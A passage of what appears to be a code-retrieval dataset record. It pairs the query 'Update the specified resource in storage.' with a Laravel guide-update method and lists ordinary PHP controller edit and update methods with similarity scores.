\"PUT\"; \n\n return view($this->moduleViewName.'.add', $data);\n }", "public function edit()\n {\n $id = $this->getId();\n return view('panel.user.form', [\n 'user' => $this->userRepository->findById($id),\n 'method' => 'PUT',\n 'routePrefix' => 'profile',\n 'route' => 'profile.update',\n 'parameters' => [$id],\n 'breadcrumbs' => $this->getBreadcrumb('Editar')\n ]);\n }", "public function edit()\r\n {\r\n return view('mpcs::edit');\r\n }", "function edit()\n\t{\n\t\t// hien thi form sua san pham\n\t\t$id = getParameter('id');\n\t\t$product = $this->model->product->find_by_id($id);\n\t\t$this->layout->set('auth_layout');\n\t\t$this->view->load('product/edit', [\n\t\t\t'product' => $product\n\t\t]);\n\t}", "public function edit($id)\n {\n //\n $data = Diskon::find($id);\n\n $form = $this->form;\n $edit = $this->edit;\n $field = $this->field;\n $page = $this->page;\n $id = $id;\n $title = $this->title;\n return view('admin/page/'.$this->page.'/edit',compact('form','edit','data','field','page','id','title'));\n }", "public function edit($id)\n {\n return $this->showForm($id);\n }", "public function edit($id)\n {\n return $this->showForm($id);\n }", "protected function _edit(){\n\t\treturn $this->_editForm();\n\t}", "public function editAction()\n {\n $robot = Robots::findFirst($this->session->get(\"robot-id\"));\n if ($this->request->isGet()) {\n $this->tag->prependTitle(\"Редактировать робота :: \");\n $user = $this->session->get(\"auth-id\");\n if (!$robot) {\n $this->flashSession->error(\n \"Робот не найден\"\n );\n return $this->response->redirect(\"users/usershow/$user->name\");\n }\n\n }\n\n $this->view->form = new RobotForm(\n $robot,\n [\n \"edit\" => true,\n ]\n );\n }", "public function editAction()\n {\n $form = new $this->form();\n\n $request = $this->getRequest();\n $param = $this->params()->fromRoute('id', 0);\n\n $repository = $this->getEm()->getRepository($this->entity);\n $entity = $repository->find($param);\n\n if ($entity) {\n\n $form->setData($entity->toArray());\n\n if ( $request->isPost() ) {\n\n $form->setData($request->getPost());\n\n if ( $form->isValid() ) {\n\n $service = $this->getServiceLocator()->get($this->service);\n $service->update($request->getPost()->toArray());\n\n return $this->redirect()->toRoute($this->route, array('controller' => $this->controller));\n }\n }\n } else {\n return $this->redirect()->toRoute($this->route, array('controller' => $this->controller));\n }\n\n return new ViewModel(array('form' => $form, 'id' => $param));\n\n }", "public function edit($id)\n\t{\n\t\t$SysApplication = \\Javan\\Dynaflow\\Domain\\Model\\SysApplication::find($id);\n\t\t$form = \\FormBuilder::create('Javan\\Dynaflow\\FormBuilder\\SysApplicationForm', [\n \t'method' => 'POST',\n \t'url' => 'sysapplication/update/'.$id,\n \t'model' => $SysApplication,\n \t'data' => [ 'flow_id' => $SysApplication->flow_id]\n \t]);\n\t\treturn View::make('dynaflow::sysapplication.form', compact('form', 'SysApplication'));\n\t}", "public function editAction() {\n\t\t$id = (int) $this->_getParam('id');\n\t\t$modelName = $this->_getParam('model');\n\t\t\n\t\t$model = Marcel_Backoffice_Model::factory($modelName);\n\t\t$item = $model->find($id)->current();\n\t\tif (!$item) {\n\t\t\t$item = $model->createRow();\n\t\t}\n\t\t$form = $item->getForm();\n\t\tif ($this->_request->isPost()) {\n\t\t\t$newId = $form->populate($this->_request->getPost())->save();\n\t\t\tif ($newId) {\n\t\t\t\t$this->_helper->flashMessenger('Saved successfully!');\n\t\t\t\t$this->_helper->redirector('edit', null, null, array('id' => $newId, 'model' => $modelName));\n\t\t\t}\n\t\t}\n\t\t$this->view->form = $form;\n\t\t$this->view->messages = $this->_helper->flashMessenger->getMessages();\n\t}", "public function edit($id)\n {\n return view('models::edit');\n }", "public function edit()\n {\n return view('home::edit');\n }", "public function editAction()\n {\n $id = $this->params()->fromRoute('id');\n $entity = $this->entityManager->find(Entity\\CourtClosing::class, $id);\n if (! $entity) {\n // to do: deal with it\n }\n $form = $this->getForm('update');\n $form->bind($entity);\n if ($this->getRequest()->isPost()) {\n return $this->post();\n }\n\n return new ViewModel(['form' => $form]);\n }", "public function editAction($id)\n {\n $entity = $this->getManager()->find($id);\n\n $breadcrumbs = $this->get(\"white_october_breadcrumbs\");\n $breadcrumbs->addItem('Inicio', $this->get('router')->generate('admin.homepage'));\n $breadcrumbs->addItem($this->entityDescription, $this->get(\"router\")->generate(\"admin.$this->entityName.index\"));\n $breadcrumbs->addItem('Editar');\n\n if (!$entity) {\n throw $this->createNotFoundException('No se ha encontrado el elemento');\n }\n\n $form = $this->getForm($entity);\n\n return $this->render('AdminBundle:Default:edit.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'metadata' => $this->getMetadata()\n ));\n }", "public function edit()\n {\n return view('user::edit');\n }", "public function edit()\n {\n return view('user::edit');\n }", "public function edit(Form $form)\n {\n return view('admin.forms.edit', compact('form'));\n }", "public function editAction()\n {\n $form = MediaForm::create($this->get('form.context'), 'media');\n $media = $this->get('media_manager.manager')->findOneById($this->get('request')->get('media_id'));\n \n $form->bind($this->get('request'), $media);\n \n return $this->render('MediaManagerBundle:Admin:form.html.twig', array('form' => $form, 'media' => $media));\n }", "public function editAction($id) {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('CdlrcodeBundle:Question')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Question entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('CdlrcodeBundle:Question:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit($id)\n {\n return view('consultas::edit');\n }", "public function edit(DirectorFormBuilder $form, $id)\n {\n return $form->render($id);\n }", "public function edit()\n {\n return view('dashboard::edit');\n }", "public function edit($id){\n $rfid = Rfid::find($id);\n\n //load form view\n return view('rfids.edit', ['rfid' => $rfid]);\n }", "public function edit($id)\n {\n\n // retrieve provider\n $provider = Provider::findOrFail($id);\n\n // return form with provider\n return view('backend.providers.form')->with('provider', $provider);\n }", "public function edit(Question $question)\n {\n $this->employeePermission('application' , 'edit');\n $question->chooses;\n $action = 'edit';\n return view('admin.setting.question_form', compact('action' , 'question'));\n }", "public function edit() {\n return view('routes::edit');\n }", "public function edit($id)\n {\n $this->data['product'] = Product::find($id);\n $this->data['category'] = Category::arrForSelect();\n $this->data['title'] = \" Update Prouct Details\";\n $this->data['mode'] = \"edit\";\n\n return view('product.form', $this->data);\n }", "public function edit(ClueEnFormBuilder $form, $id): Response\n {\n return $form->render($id);\n }", "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('BaseBundle:Feriado')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Feriado entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('BaseBundle:Feriado:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit($id)\n {\n return view('cataloguemodule::edit');\n }", "public function edit($articulo_id)\n {\n $titulo = \"Editar\";\n return View(\"articulos.formulario\",compact('titulo','articulo_id'));\n }", "public function edit($id)\n {\n $resources = User::find(session('usuario_id'))->resources;\n $languages = Language::pluck('name', 'id');\n $types = Type::pluck('name', 'id');\n $method = 'PATCH';\n\n $recurso = Resource::find($id);\n $url = \"/resource/$recurso->id\";\n\n return view('resources.resources', compact('resources', 'languages', 'types', 'method', 'url', 'recurso'));\n }", "public function edit(Question $question)\n {\n $edit = TRUE;\n return view('questionForm', ['question' => $question, 'edit' => $edit]);\n }", "public function displayEditForm(Employee $employee){\n return view('employee.displayEditForm',['employee'=>$employee]);\n }", "public function edit()\n {\n return view('website::edit');\n }", "public function edit()\n {\n return view('inventory::edit');\n }", "public function edit()\n {\n return view('initializer::edit');\n }", "public function editAction()\n {\n View::renderTemplate('Profile/edit.html', [\n 'user' => $this->user\n ]);\n }", "public function edit($id)\n {\n return view('backend::edit');\n }", "public function edit($id)\n {\n //dd($id);\n $familiaPrograma= FamiliaPrograma::findOrFail($id);\n return view('familiasPrograma.edit', compact('familiaPrograma'));\n }", "public function edit($id)\n {\n return view('crm::edit');\n }", "public function edit($id)\n {\n return view('crm::edit');\n }", "public function edit($id)\n {\n $user = User::where('id', $id)->first();\n\n\n return view('users.forms.update', compact('user'));\n }", "public function editAction($id)\n\t{\n\t\t$school = School::find( $id );\n\t\t$this->render( View::make( 'schools/form' , array(\n\t\t\t'title' => sprintf( 'Modifier \"%s\"', $school->name ),\n\t\t\t'entity' => $school\n\t\t) ) );\n\t}", "public function edit(Question $question)\n {\n $edit = TRUE;\n return view('questionForm', ['question' => $question, 'edit' => $edit ]);\n }", "public function edit(Person $person) {\n\t\t$viewModel = new PersonFormViewModel();\n\t\treturn view('person.form', $viewModel);\n\t}", "public function edit($id)\n {\n \t$product = Product::find($id);\n \treturn view('admin.products.edit')->with(compact('product')); // formulario de actualizacion de datos del producto\n }", "public function edit_person($person_id){\n \t$person = Person::find($person_id);\n \treturn view('resource_detail._basic_info.edit',compact('person'));\n }", "public function edit($id)\n {\n $professor = $this->repository->find($id);\n return view('admin.professores.edit',compact('professor'));\n }", "public function edit($id)\n {\n $data = Restful::find($id);\n return view('restful.edit', compact('data'));\n }", "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('MedecinIBundle:Fichepatient')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Fichepatient entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('MedecinIBundle:Fichepatient:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit($id)\n {\n return $this->form->render('mconsole::personal.form', [\n 'item' => $this->person->query()->with('uploads')->findOrFail($id),\n ]);\n }", "public function edit($id)\n\t{\n\t\t // get the project\n $project = Project::find($id);\n\n // show the edit form and pass the project\n return View::make('logicViews.projects.edit')->with('project', $project);\n\t}" ]
[ "0.78550774", "0.7692893", "0.7273195", "0.7242132", "0.7170847", "0.70622855", "0.7053459", "0.6982539", "0.69467914", "0.6945275", "0.6941114", "0.6928077", "0.69019294", "0.68976134", "0.68976134", "0.6877213", "0.68636996", "0.68592185", "0.68566656", "0.6844697", "0.68336326", "0.6811471", "0.68060875", "0.68047357", "0.68018645", "0.6795623", "0.6791791", "0.6791791", "0.6787701", "0.67837197", "0.67791027", "0.677645", "0.6768301", "0.6760122", "0.67458534", "0.67458534", "0.67443407", "0.67425704", "0.6739898", "0.6735328", "0.6725465", "0.6712817", "0.6693891", "0.6692419", "0.6688581", "0.66879624", "0.6687282", "0.6684741", "0.6682786", "0.6668777", "0.6668427", "0.6665287", "0.6665287", "0.66610634", "0.6660843", "0.66589665", "0.66567147", "0.66545695", "0.66527975", "0.6642529", "0.6633056", "0.6630304", "0.6627662", "0.6627662", "0.66192114", "0.6619003", "0.66153085", "0.6614968", "0.6609744", "0.66086483", "0.66060555", "0.6596137", "0.65950733", "0.6594648", "0.65902114", "0.6589043", "0.6587102", "0.65799844", "0.65799403", "0.65799177", "0.657708", "0.65760696", "0.65739626", "0.656931", "0.6567826", "0.65663105", "0.65660435", "0.65615267", "0.6561447", "0.6561447", "0.65576506", "0.655686", "0.6556527", "0.6555543", "0.6555445", "0.65552044", "0.65543956", "0.65543705", "0.6548264", "0.65475875", "0.65447706" ]
0.0
-1
Update the specified resource in storage.
public function update(UpdateGuiderRequest $request, $id) { $guider = [ 'guid_name' => $request->guid_name, 'guid_phone' => $request->guid_phone, 'guid_resident_number' => $request->guid_resident_number, 'manager_guid_id' => $request->manager_guid_id ? $request->manager_guid_id : 0, 'guid_level' => $request->guid_level, 'guid_status' => 1, 'city_id' => $request->city, ]; DB::beginTransaction(); try { $guider = $this->guiderRepository->update($id, $guider); DB::commit(); return response()->json([ 'success' => true, 'data' => $guider, 'message' => 'Update guide successfully', ]); } catch (Exception $e) { DB::rollback(); return response()->json([ 'success' => false, 'message' => $e->getMessage(), ]); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function updateShopifyResource() {\n $this->saving();\n $this->getShopifyApi()->call([\n 'URL' => API::PREFIX . $this->getApiPathSingleResource(),\n 'METHOD' => 'PUT',\n 'DATA' => [\n static::getResourceSingularName() => $this->shopifyData\n ]\n ]);\n }", "public function update(Request $request, Resource $resource)\n {\n $request->validate([\n 'name' => 'required',\n 'description' => 'required|string',\n 'file' => 'required|mimes:jpg,jpeg,png,doc,docx,pdf,ppt,txt',\n ]);\n\n $resource->update($request->all());\n\n if ( $request->hasFile('file') ) {\n $resource = 'resource-'.time().'.'.$request->file('file')->extension();\n $request->file->storeAs('resources', $resource,'public');\n $resource->file = $resource;\n }\n\n if ( $resource->save() ) {\n return redirect()->route('admin.resources.index')->with('success', 'Resource updated');\n } else {\n return redirect()->route('admin.resources.index')->with('error', 'Something went wrong');\n }\n }", "public function update(Request $request, Resource $resource)\n {\n //\n }", "public function updateStream($resource);", "public function update(Request $request, Storage $storage)\n {\n $storage->product_id = $request->product_id;\n $storage->amount = $request->amount;\n\n $storage->save();\n\n return redirect()->route('storages.index');\n }", "protected function updateImageResource($fileName, $imageId, $storage)\n {\n //Get image name and storage location for image\n $image = Image::where('id', '=', $imageId)->first();\n\n //Delete old image\n $this->deleteResource($image->name, $image->storage);\n\n //Store the new image\n $image->name = $fileName;\n $image->storage = $storage;\n\n $image->save();\n }", "public function update(Storage $storage, UpdateStorageRequest $request)\n {\n $this->storage->update($storage, $request->all());\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource updated', ['name' => trans('product::storages.title.storages')]));\n }", "public function update(StoreStorage $request, Storage $storage)\n {\n $storage->fill($request->all())->save();\n $request->session()->flash('alert-success', 'Запись успешно обновлена!');\n return redirect()->route('storage.index');\n }", "public function update_asset($id, Request $request){\n \t\tif(!Auth::user()){\n\t\t\treturn redirect('/');\n\t\t}\n \t\t$asset = Storage::find($id);\n \t\t$asset->name = $request->name;\n \t\t$asset->quantity = $request->quantity;\n \t\t$asset->category_id = $request->category;\n \t\tif($request->file('image') != null){\n\t\t\t$image = $request->file('image');\n\t\t\t$image_name = time(). \".\" . $image->getClientOriginalExtension();\n\t\t\t$destination = \"images/\";\n\t\t\t$image->move($destination, $image_name);\n\t\t\t$asset->image_url = $destination.$image_name;\n\t\t} \n\t\t$asset->save();\n\t\tsession()->flash('success_message', 'Item Updated successfully');\n\t\treturn redirect(\"/storage\");\n \t}", "public function update(Request $request, Flight $exercise, FlightResource $resource)\n {\n $request->validate([\n 'display_name' => 'required|string|max:100',\n 'file' => 'nullable|file|max:10240|mimes:pdf',\n 'uri' => 'nullable|url|max:255',\n ]);\n\n if ($resource->type === 'file' && $request->file('file')) {\n Storage::drive('public')->delete($resource->resource);\n $resource->resource = $request->file('file')->store('smartcars/exercises/resources', ['disk' => 'public']);\n } elseif ($resource->type === 'uri' && $request->input('uri')) {\n $resource->resource = $request->input('uri');\n }\n\n $resource->save();\n\n return redirect()->route('adm.smartcars.exercises.resources.index', $exercise)\n ->with('success', 'Resource edited successfully.');\n }", "public function update(Request $request, $id)\n {\n $validator = Validator::make($request->all(), [\n 'title' => 'required|string',\n 'content' => 'required|string',\n 'mentoring_area_id' => 'required|integer',\n 'featured_image_uri' => 'string',\n ]);\n\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), 400);\n }\n \n $resource = Resource::find($id);\n $resource->title = $request->get('title');\n $resource->content = $request->get('content');\n $resource->featured_image_uri = $request->get('featured_image_uri');\n $resource->updated_at = \\Carbon\\Carbon::now();\n $resource->mentoring_area_id = $request->get('mentoring_area_id');\n $resource->save();\n $data['resource'] = $resource;\n return APIHandler::response(1, \"Resource has been updated\");\n }", "protected function updateVideoResource($fileName, $videoId, $storage, $premium=1)\n {\n //Get video name and storage location for video\n $video = Video::where('id', '=', $videoId)->first();\n\n //Check the storage medium\n if($storage == 'vimeo' || $storage == 'youtube')\n {\n $video->name = $fileName;\n $video->storage = $storage;\n $video->premium = $premium;\n $video->save();\n }\n else\n {\n if($video['storage'] == 'local' || $video['storage'] == 's3')\n {\n //Delete old video\n $this->deleteResource($video->name, $video->storage);\n }\n \n //Store the new video\n $video->name = $fileName;\n $video->storage = $storage;\n $video->premium = $premium;\n $video->save();\n }\n }", "public function put($resource, $with=[]){\n return $this->fetch($resource, self::PUT, $with);\n }", "public function update($id, $resource) {\n SCA::$logger->log(\"update resource\");\n return $this->orders_service->update($id, $resource);\n }", "public function update($path);", "public function update($id, $resource)\n {\n SCA::$logger->log(\"Entering update()\");\n //check whether it is an sdo or an xml string.\n if ($resource instanceof SDO_DataObjectImpl) {\n //if the thing received is an sdo convert it to xml\n if ($this->xml_das !== null) {\n $xml = SCA_Helper::sdoToXml($this->xml_das, $resource);\n } else {\n throw new SCA_RuntimeException(\n 'Trying to update a resource with SDO but ' .\n 'no types specified for reference'\n );\n }\n } else {\n $xml = $resource;\n }\n\n $slash_if_needed = ('/' === $this->target_url[strlen($this->target_url)-1])?'':'/';\n\n $handle = curl_init($this->target_url.$slash_if_needed.\"$id\");\n curl_setopt($handle, CURLOPT_HEADER, false);\n curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);\n curl_setopt($handle, CURLOPT_CUSTOMREQUEST, \"PUT\");\n curl_setopt($handle, CURLOPT_POSTFIELDS, $xml);\n\n //replace with Content-Type: atom whatever\n $headers = array(\"User-Agent: SCA\",\n \"Content-Type: text/xml;\",\n \"Accept: text/plain\");\n curl_setopt($handle, CURLOPT_HTTPHEADER, $headers);\n\n $result = curl_exec($handle);\n\n $response_http_code = curl_getinfo($handle, CURLINFO_HTTP_CODE);\n\n curl_close($handle);\n\n $response_exception = $this->buildResponseException($response_http_code, '200');\n\n if ($response_exception != null) {\n throw $response_exception;\n } else {\n //update does not return anything in the body\n return true;\n }\n }", "public function update(Request $request, $id)\n {\n $this->validate($request, [\n 'name' => 'required',\n 'link' => 'required',\n 'description' => 'required'\n ]);\n\n $resource = Resource::find($id);\n $resource->name = $request->name;\n $resource->type_id = $request->type_id;\n $resource->has_cost = ($request->has('has_cost')) ? 1 : 0;\n $resource->language_id = $request->language_id;\n $resource->link = $request->link;\n $resource->description = $request->description;\n $resource->tags = '';\n\n $resource->save();\n //return back()->with('success', 'Recurso actualizado satisfactoriamente');\n return redirect('/resource')->with('success', 'Recurso actualizado satisfactoriamente');\n }", "public function update(Request $request, $id)\n {\n $oldProduct = Product::findOrFail($id);\n $data = $request->all();\n if(isset($data['img'])){\n // $file = $request->file('photo');\n // return $file;\n $imgName = time().'.'.$request->img->extension();\n $data['img'] = $imgName;\n // Storage::putFile('spares', $file);\n $path = $request->img->storeAs('public/uploads', $imgName); //in Storage\n\n //delete old file\n if($oldProduct->img != 'product-default.png'){\n Storage::delete(\"public/uploads/\".$oldProduct->img);\n // return 'deleted';\n }\n \n }else{\n $data['img'] = $oldProduct->img;\n }\n $oldProduct->update($data);\n return redirect()->route('product.index'); \n\n }", "public function update($request, $id) {\n\t\t\t$image = $request['photo'];\n\t\t\tif($image !== null) {\n\t\t\t\t$name = time().'.' . explode('/', explode(':', substr($image, 0, strpos($image, ';')))[1])[1];\n\t\t\t\t\\Image::make($request['photo'])->save(public_path('storage/products/').$name);\n\t\t\t\t$request['photo'] = $name;\n\t\t\t} else {\n\t\t\t\t$currenPhoto = Product::all()->where('id', $id)->first();\n\t\t\t\t$request['photo'] = $currenPhoto->photo;\n\t\t\t}\n return $this->product->update($id, $request);\n\t}", "public function updateStream($path, $resource, Config $config)\n {\n }", "public function edit(Resource $resource)\n {\n //\n }", "public function updateResourceIndex(&$resource) {\n if ($this->connector != null) {\n\n // STEP 1: Update or insert this resource as a node:\n $this->logger->addDebug(\"Updating/Inserting Node into Neo4J database\");\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id} }) SET a.title = {title}, a.version = {version}, a.href = {href}\n return a;\",\n [\n 'id' => $resource->getID(),\n 'version' => $resource->getVersion(),\n 'title' => $resource->getTitle(),\n 'href' => $resource->getLink()\n ]\n );\n\n // Check to see if anything was added\n $records = $result->getRecords();\n if (empty($records)) {\n // Must create this record instead\n $result = $this->connector->run(\"CREATE (n:Resource) SET n += {infos};\",\n [\n \"infos\" => [\n 'id' => $resource->getID(),\n 'version' => $resource->getVersion(),\n 'title' => $resource->getTitle(),\n 'href' => $resource->getLink()\n ]\n ]\n );\n }\n\n // STEP 2: Update or insert the resource's link to holding repository\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id} })-[r:HIRELATION]->()\n return r;\",\n [\n 'id' => $resource->getID(),\n ]\n );\n $records = $result->getRecords();\n if (!empty($records)) {\n // delete the one there so that we can add the correct one (just in case)\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id}})-[r:HIRELATION]->() delete r;\",\n [\n 'id' => $resource->getID()\n ]\n );\n\n }\n\n // If resource has a repository, then add a link\n if ($resource->getRepository() != null && $resource->getRepository()->getID() != null) {\n $this->connector->run(\"MATCH (a:Identity {id: {id1} }) MATCH (b:Resource {id: {id2} }) CREATE (b)-[r:HIRELATION]->(a);\",\n [\n 'id1' => (string) $resource->getRepository()->getID(),\n 'id2' => $resource->getID()\n ]);\n }\n }\n }", "public function update($data) {}", "public function update($data) {}", "public function putStream($resource);", "public function update(Request $request, NebulaResource $resource, $item): RedirectResponse\n {\n $this->authorize('update', $item);\n\n $validated = $request->validate($resource->rules(\n $resource->editFields()\n ));\n\n $resource->updateQuery($item, $validated);\n\n $this->toast(__(':Resource updated', [\n 'resource' => $resource->singularName(),\n ]));\n\n return redirect()->back();\n }", "public function saveShopifyResource() {\n if (is_null($this->getShopifyId())) { // if there is no id...\n $this->createShopifyResource(); // create a new resource\n } else { // if there is an id...\n $this->updateShopifyResource(); // update the resource\n }\n }", "public function update($entity);", "public function update($entity);", "public function setResource($resource);", "public function updateStream($path, $resource, Config $config)\n {\n return $this->upload($path, $resource, $config);\n }", "public function isUpdateResource();", "public function update(Request $request, $id)\n {\n $device = Device::findOrFail($id);\n $device->fill($request->all());\n if ($request->hasFile('icon')) {\n if ($device->hasMedia('icon')) {\n $device->deleteMedia($device->getFirstMedia('icon'));\n }\n $device->addMediaFromRequest('icon')->toMediaCollection('icon');\n }\n $device->save();\n return new DeviceResource($device);\n }", "public function update(Request $request, $id)\n {\n //\n $product = Product::findOrFail($id);\n \n $product->update($request->all());\n \n $file = $request->file('url_image')->move('upload', $request->file('url_image')->getClientOriginalName());\n\n Product::where('id',$id)->update(['url_image'=>$file]);\n \n \\Session::flash('flash_message', 'Edit product successfully.'); \n \n //cũ : return redirect('articles');\n return redirect()->route('products.index');\n }", "public function store($data, Resource $resource);", "public function update(Request $request, $id)\n {\n \n $product = Product::find($id);\n\n\n $product->fill($request->all())->save();\n\n //Verificamos que tenemos una imagen\n if($request->file('photo_1')){\n\n\n //En caso de tenerla la guardamos en la clase Storage en la carpeta public en la carpeta image.\n $path = Storage::disk('public')->put('photo_1',$request->file('photo_1'));\n\n //Actualizamos el Post que acabamos de crear\n $product->fill(['photo_1' => asset($path)])->save();\n\n }\n\n\n return redirect()->route('products.index')->with('info', 'Producto actualizado exitosamente!');\n }", "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n\n if (\\Input::hasFile('image')) {\n $this->imgsave($request, $product);\n }\n\n\n if (!empty($request->input('tags'))) {\n $product->tags()->sync($request->input('tags'));\n } else {\n $product->tags()->detach();\n }\n\n $product->update($request->all());\n\n return redirect()->to('dashboard/product')->with('message', 'update success');\n }", "public function put($resource_path, array $variables = array()) {\n return $this->call($resource_path, $variables, 'PUT');\n }", "public function update($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n if (method_exists($this, 'updateValidations')) {\n $this->request->validate($this->updateValidations());\n }\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Update the specified resource */\n $resource->update(Input::all());\n\n /* Redirect back */\n return redirect()->back()\n ->with(\n 'info',\n Lang::has($this->name . '.resource-updated') ?\n $this->name . '.resource-updated' :\n 'messages.alert.resource-updated'\n );\n }", "public function putResponse($request)\n {\n $idSearched = $this->searcher->searchResourceIndex(\n $request, \n $this->db[$request['resource']]\n );\n if ($idSearched) {\n $resource = $this->db[$request['resource']][$idSearched];\n $bodyInput = json_decode($this->standardInput, true);\n $resource = BodyRequest::canApplyBody($bodyInput);\n $resource['id'] = (int)$request['param'];\n foreach($resource as $key => $value) {\n $this->db[$request['resource']][$idSearched][$key] = $value;\n }\n file_put_contents(DB_PATH, json_encode($this->db));\n }\n }", "public function update(Storedataset $request, dataset $dataset){\n $dataset->title = $request->input('title');\n $dataset->caption = $request->input('caption');\n $dataset->file_url = $request->input('file_url');\n $dataset->type = $request->input('type');\n $dataset->status = $request->input('status');\n $dataset->publication_id = $request->input('publication_id');\n\n $dataset->save();\n\n return redirect()->route('datasets.show', ['dataset' => $dataset]);\n }", "public function update(Request $request, $id)\n\n {\n ResourceManagement::findOrFail($id);\n $constraints = [\n 'title' => 'required|max:100',\n 'url'=> 'required|max:191',\n 'content' => 'required'\n ];\n\n $input = [\n 'title' => $request['title'],\n 'url' => $request['url'],\n 'content' => $request['content'],\n 'type' => $request['type'],\n 'level' => $request['level'],\n 'user_id' => $request['user']\n ];\n// $this->validate($input, $constraints);\n ResourceManagement::where('id', $id)\n ->update($input);\n\n return redirect()->intended('/resource-management');\n }", "public function update(Request $request, $id)\n {\n $this->validate($request, [\n 'title' => 'required',\n 'description' => 'required|string',\n 'price' => 'required|numeric',\n 'reference'=>'required'\n ]);\n \n $product = Product::find($id);\n $product->update($request->all());\n \n $im = $request->file('picture');\n \n if (!empty($im)) {\n \n $link = $request->file('picture')->store('images');\n \n \n $product->update([\n 'url_image' => $link,\n ]);\n } \n //dump($request->all());\n return redirect()->route('product.index')->with('message', 'Article modifié avec succès');\n }", "public function update(StoreOrUpdateAsset $request, Asset $asset)\n {\n if (Storage::exists($asset->path) && !Storage::delete($asset->path)) {\n abort(500);\n }\n\n $file = $request->file('file');\n $path = $file->store('assets');\n\n if (!$path) {\n abort(500);\n }\n\n // We wonder if we should delete the old file or not...\n\n $asset->name = $file->getClientOriginalName();\n $asset->size = $file->getSize();\n $asset->type = $file->getMimeType();\n $asset->path = $path;\n\n if ($asset->save()) {\n flash('The asset has been saved.')->success();\n } else {\n abort(500);\n }\n\n return redirect('/admin/assets');\n }", "public function update(FoodRecipeRequest $request, $id)\n {\n $foodRecipe = FoodRecipe::with('ingredients','cookingProcesses')->findOrFail($id);\n if ($request->input('name')!= null)\n $foodRecipe->name = $request->input('name');\n if ($request->input('detail')!= null)\n $foodRecipe->detail = $request->input('detail');\n if($request->file('photo') != null) {\n $old_file = $foodRecipe->photo;\n if($old_file != null){\n $path = public_path().'/storage/'.$old_file;\n File::delete($path);\n }\n $file = $request->file('photo');\n $name = '/foodRecipe/' . Carbon::now()->format(\"dnY-Hisu\") . \".\" . $file->extension();\n $file->storePubliclyAs('public', $name);\n $foodRecipe->photo = $name;\n }\n $foodRecipe->save();\n return new FoodRecipeResource($foodRecipe);\n }", "public function update(StorageTypeRequest $request, $id)\n {\n try {\n $this->service->updateStorageType($request, $id);\n return $this->NoContent();\n } catch (EntityNotFoundException $e) {\n \\Log::error($e->getMessage());\n return $this->NotFound($e->getMessage());\n } catch(\\QueryException $e) {\n \\Log::error($e->getMessage());\n return $this->ServerError();\n } catch(Exception $e) {\n \\Log::error($e->getMessage());\n return $this->ServerError();\n }\n }", "public function update(Request $request, $id)\n {\n //validation\n $this->validate(request(),[\n 'image' => 'image'\n ]);\n\n $slider = HomeSliders::find($id);\n \n $slider->link = request('link');\n\n //get old image to delete if updated\n $oldImage = request('oldImage');\n //get the new image\n $NewImage=$request->file('image');\n\n if($NewImage)\n {\n $filenameToStore= helpers::updatePhoto('image','homeSliders',$request);\n $slider->image=$filenameToStore;\n\n Storage::delete('public/Images/homeSliders/'.$oldImage);\n }\n\n $slider->save();\n\n Alert::success(config('app.name'), trans('messages.Updated Successfully') );\n return redirect()->route('admin.homeSlider',$slider->type);\n }", "public function update(Qstore $request, $id)\n {\n //\n }", "public function update(IEntity $entity);", "protected function performUpdate(): bool\n {\n // Abort if resource does not support update operations\n if (!$this->isUpdatable()) {\n throw new UnsupportedOperation(sprintf('API does not support update operation for %s resources', $this->resourceNameSingular()));\n }\n\n $id = $this->id();\n $prepared = $this->prepareBeforeUpdate($this->toArray());\n\n $payload = [\n $this->resourceNameSingular() => $prepared\n ];\n\n $response = $this\n ->request()\n ->put($this->endpoint($id), $payload);\n\n // Extract and (re)populate resource (if possible)\n // Note: Unlike the \"create\" method, Redmine does NOT\n // appear to send back a full resource when it has been\n // successfully updated.\n $this->fill(\n $this->decodeSingle($response)\n );\n\n return true;\n }", "public function update($request, $id);", "function put($resource, $data = null) {\r\n\t\t\r\n\t\tif(isset($data)) {\r\n\t\t\t$this->request_body = $data;\r\n\t\t}\r\n\r\n\t\t// make the call chief\r\n\t\t$this->exec ( \"PUT\", '/' . $resource );\r\n\r\n\t\t// check the request status\r\n\t\tif($this->status_code != 200){\r\n\t\t\t$this->Logger->error(\r\n\t\t\t\tsprintf(\r\n\t\t\t\t\t'GET Call for resource \\'%s\\' Failed.\r\n\t\t\t\t\tStatus: %d,\r\n\t\t\t\t\tRequest: %s\r\n\t\t\t\t\tAPI Error Message: \r\n\t\t\t\t\t%s',\r\n\t\t\t\t\t$resource,\r\n\t\t\t\t\t$this->status_code,\r\n\t\t\t\t\t$this->request_body_raw,\r\n\t\t\t\t\t$this->response_body\r\n\t\t\t\t)\r\n\t\t\t);\r\n\t\t\tthrow new 